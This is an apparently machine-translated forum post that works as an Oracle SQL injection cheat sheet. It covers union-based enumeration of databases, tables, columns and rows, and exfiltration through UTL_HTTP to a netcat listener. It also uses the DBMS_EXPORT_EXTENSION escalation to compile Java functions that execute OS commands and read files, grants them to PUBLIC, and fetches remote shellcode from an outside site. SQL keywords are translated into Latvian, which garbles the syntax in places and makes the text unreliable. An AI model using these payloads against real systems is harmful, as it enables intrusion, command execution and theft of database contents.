Šo ziņu pēdējo reizi rediģēja tests 2015-1-24 13:01
Komentārs: -- Vairāku teikumu izpilde netiek atbalstīta, un tiek atbalstīti apvienotie vaicājumi Datu bāzu nosaukumi, tabulu nosaukumi un kolonnu nosaukumi tiek rakstīti ar lielajiem burtiem.
garums(lauks) ascii(substr(lauks, N, 1))
un (izvēlieties skaitu(*) no duāla)>0 -- Nosakiet, vai tas ir orākuls vai nē
pasūtījums pēc n--
un 1=2 savienība izvēlas null, null,.....,null no duāla - aizstāj null ar N vai 'N'
un 1 = 2 apvienošana atlasīt null, (sql priekšraksts) ,.....,null no dual -- mainīt uz (sql priekšraksts) pie 'N'
un (atlasiet count(*) no all_objects, kur object_name='UTL_HTTP')>0 -- Nosakiet, vai UTL_HTTP tiek atbalstīts (eksporta IP ir zināms)
un UTL_HTTP.request('http://LocalIP:port'|| (SQL paziņojums)) =1-- Attālināti sūtīt ziņojumus uz lokālo, lokālo klausīšanos nc -vv -l -p 1234
SQL paziņojumi Atlasiet reklāmkarogu no sys.v_$versijas, kur rownum=1, lai vaicātu orākula versiju atlasiet dalībnieku no v$logfile, kur rownum=1 Vaicāt žurnālfaila ceļu (Windows vai Linux) atlasiet utl_inaddr.get_host_address no duāla, lai vaicātu datu bāzes klausīšanās IP Atlasiet instance_name no v$instance, lai vaicātu sid Atlasīt nosaukumu no v$database Vaicāt pašreizējo datu bāzes nosaukumu Atlasiet sys_context ('userenv','current_user') no divu vaicājumu datu bāzes lietotājiem Atlasiet * no session_roles, kur rownum=1, lai vaicātu pašreizējās lietotāja atļaujas Atlasiet * no session_roles, kur rownum=1 [un role<>'first permission name']
Atlasiet table_name no user_tables, kur rownum=1 Pašreizējās datu bāzes pirmais tabulas segments atlasiet table_name||','|| tablespace_name no user_tables, kur rownum=1 Pirmais tabulas segments, datu bāze (verifikācijai tas var nebūt v$database) Atlasiet table_name no user_tables, kur rownum=1 un table_name<>'pirmais tabulas segments' Pašreizējās datu bāzes otrais tabulas segments
Izvēlieties column_name no user_tab_columns, kur rownum=1 un table_name='Tabulas segments' Pirmais lauks, kas atbilst tabulas nosaukumam Izvēlieties column_name no user_tab_columns, kur rownum=1 un table_name='Tabulas segments' un column_name<>'Pirmais lauks' Otrais lauks, kas atbilst tabulas nosaukumam
Atlasīt lauku no tabulas segmenta, kur rownum=1 pārkāpj pirmās rindiņas saturu Atlasīt lauku no tabulas segmenta, kur rownum=1 un lauka <> 'pirmās rindiņas saturs' atklāj otrās rindiņas saturu
Starpbibliotēkas Atlasiet īpašnieku no all_tables, kur rownum=1 vaicā pirmo datu bāzes nosaukumu Izvēlieties īpašnieku no all_tables, kur rownum=1 un īpašnieks<> 'Pirmais datu bāzes nosaukums', lai vaicātu otro datu bāzes nosaukumu
Atlasiet table_name no all_tables, kur rownum=1 un owner='database name' Vaicāt atbilstošās datu bāzes pirmo tabulas nosaukumu Atlasiet table_name no all_tables, kur rownum=1 un owner='database name' un table_name<>'first table name', lai vaicātu atbilstošās datu bāzes otrās tabulas nosaukumu
Izvēlieties column_name no all_tab_columns, kur rownum=1 un owner='database name' un table_name='table segment' Pirmais lauks, kas atbilst tabulas nosaukumam Izvēlieties column_name no all_tab_columns, kur rownum=1 un owner='datu bāzes nosaukums' un table_name='tabulas segments' un column_name<>'pirmais lauks' Otrais lauks, kas atbilst tabulas nosaukumam
Atlasiet lauku no datu bāzes. Tabulas segments, kurā rownum=1 pārkāpj pirmās rindiņas saturu Atlasiet lauku no datu bāzes. Tabulas segments, kurā rownum=1 un lauka <> "Pirmās rindas saturs" pārkāpj otrās rindas saturu
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); vairāku paziņojumu BEIGAS; --','SYS',0,'1',0)--
Ja 'ir izbēgts, tiek izmantots chr().
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(CHR(70)|| chr(79)|| chr(79),chr(66)|| CHR(65)|| chr(82), chr(68)|| CHR(66)|| CHR(77)|| chr(83)|| chr(95)|| chr(79)|| CHR(85)|| CHR(84)|| CHR(80)|| CHR(85)|| CHR(84)|| CHR(34)|| CHR(46)|| CHR(80)|| CHR(85)|| CHR(84)|| CHR(40)|| chr(58)|| CHR(80)|| CHR(49)|| CHR(41)|| CHR(59)|| Vairāki paziņojumi || chr(69)|| chr(78)|| chr(68)|| CHR(59)|| CHR(45)|| chr(45),chr(83)|| CHR(89)|| chr(83),0,chr(49),0)=0--
Ja vairāki teikumi ir pārāk gari, varat uzrakstīt paziņojumu tīmekļa vietnes failā un izmantot utl_http.request, lai to izgūtu.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Izveidojiet JAVA pakotni SecTest runCMD tiek izmantots, lai izpildītu sistēmas komandas un "1"<>"a"|| (atlasiet SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); IZPILDĪT TŪLĪTĒJU "PASLUDINĀT PRAGMA AUTONOMOUS_TRANSACTION; SĀKT IZPILDĪT TŪLĪTĒJU ''''izveidot vai aizstāt un kompilēt java avotu ar nosaukumu "SecTest" kā importa java.io.*; publiskā klase SecTest paplašina objektu{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); Virkne stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); atgriešanās str; }catch(Izņēmums e){atgriezt e.toString(); }}}''''; BEIGAS; ''; BEIGAS; --','SYS',0,'1',0) no duāla)--
faila lasīšanai tiek izmantots readFile un "1"<>"a"|| (atlasiet SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); IZPILDĪT TŪLĪTĒJU "PASLUDINĀT PRAGMA AUTONOMOUS_TRANSACTION; SĀKT IZPILDĪT TŪLĪTĒJU ''''izveidot vai aizstāt un kompilēt java avotu ar nosaukumu "SecTest" kā importa java.io.*; publiskā klase SecTest paplašina objektu{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(faila nosaukums)); Virkne stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); atgriešanās str; }catch(Izņēmums e){atgriezt e.toString(); }}}''''; BEIGAS; ''; BEIGAS; --','SYS',0,'1',0) no duāla)--
Java atļauju piešķiršana un "1"<>"a"|| (atlasiet SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); IZPILDĪT TŪLĪTĒJU ''PASLUDINĀT PRAGMA AUTONOMOUS_TRANSACTION; SĀKT IZPILDĪT TŪLĪTĒJU ''''sākt dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''izpildīt''''''''); beigas; ''''; BEIGAS; ''; BEIGAS; --','SYS',0,'1',0) no duāla)--
Funkcijas izveide Funkcija SecRunCMD un "1"<>"a"|| (atlasiet SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); IZPILDĪT TŪLĪTĒJU ''PASLUDINĀT PRAGMA AUTONOMOUS_TRANSACTION; SĀKT IZPILDĪT TŪLĪTĒJU ''''izveidot vai aizstāt funkciju SecRunCMD(p_cmd in varchar2) atgriezt varchar2 kā valodu java nosaukums''''''''SecTest.runCMD(java.lang.String) atgriezt virkni'''''''' ; ''''; BEIGAS; ''; BEIGAS; --','SYS',0,'1',0) no duāla)--
Funkcija SecReadFile un "1"<>"a"|| (atlasiet SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); IZPILDĪT TŪLĪTĒJU ''PASLUDINĀT PRAGMA AUTONOMOUS_TRANSACTION; SĀKT IZPILDĪT TŪLĪTĒJU ''''izveidot vai aizstāt funkciju SecReadFile(faila nosaukums varchar2) atgriezt varchar2 kā valodu java nosaukums''''''''SecTest.readFile(java.lang.String) atgriezt virkni' '''''''; ''''; BEIGAS; ''; BEIGAS; --','SYS',0,'1',0) no duāla)--
Atļaujas piešķiršana publiskās funkcijas izpildei SecRunCMD tiek piešķirtas atļaujas un "1"<>"a"|| (atlasiet SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); IZPILDĪT TŪLĪTĒJU ''PASLUDINĀT PRAGMA AUTONOMOUS_TRANSACTION; SĀKT IZPILDĪT TŪLĪTĒJU ''''piešķirt visu SecRunCMD sabiedrībai'''; BEIGAS; ''; BEIGAS; --','SYS',0,'1',0) no duāla)--
SecReadFile un "1"<>"a"|| (atlasiet SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); IZPILDĪT TŪLĪTĒJU ''PASLUDINĀT PRAGMA AUTONOMOUS_TRANSACTION; SĀKT IZPILDĪT TŪLĪTĒJU ''''piešķirt visu SecReadFile sabiedrībai''''; BEIGAS; ''; BEIGAS; --','SYS',0,'1',0) no duāla)--
Nosaka, vai funkcija ir veiksmīgi izveidota un (atlasiet count(*) no all_objects, kur object_name='SECRUNCMD')>0-- un (atlasiet count(*) no all_objects, kur object_name='SECREADFILE')>0--
Komandas izpilde un '1'<>(atlasiet sys. SecRunCMD ('Izpildīt komandu') no duāla) - un '1'<>(atlasiet sys. SecReadFile ('faila fiziskā adrese') no duāla) - vai un 1 = 2 savienība izvēlas null,...,sys. SecRunCMD('execute command'),...,null no dual-- un 1 = 2 savienība izvēlas null,...,sys. SecReadFile('faila fiziskā adrese'),...,null no duāla-- vai un '1'<>(atlasiet UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Izpildīt komandu'),'',' '),'\n',' ')) no duāla)-- un '1'<>(atlasiet UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('Faila fiziskā adrese'),',',' ','\n',' ')) no dual)--
Dzēst funkciju un "1"<>"a"|| (atlasiet SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); IZPILDĪT TŪLĪTĒJU ''PASLUDINĀT PRAGMA AUTONOMOUS_TRANSACTION; SĀKT IZPILDĪT TŪLĪTĒJU ''''nomešanas funkciju SecRunCMD''''; BEIGAS; ''; BEIGAS; --','SYS',0,'1',0) no duāla)-- un "1"<>"a"|| (atlasiet SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); IZPILDĪT TŪLĪTĒJU ''PASLUDINĀT PRAGMA AUTONOMOUS_TRANSACTION; SĀKT IZPILDĪT TŪLĪTĒJU ''''nomešanas funkciju SecReadFile''''; BEIGAS; ''; BEIGAS; --','SYS',0,'1',0) no duāla)-- |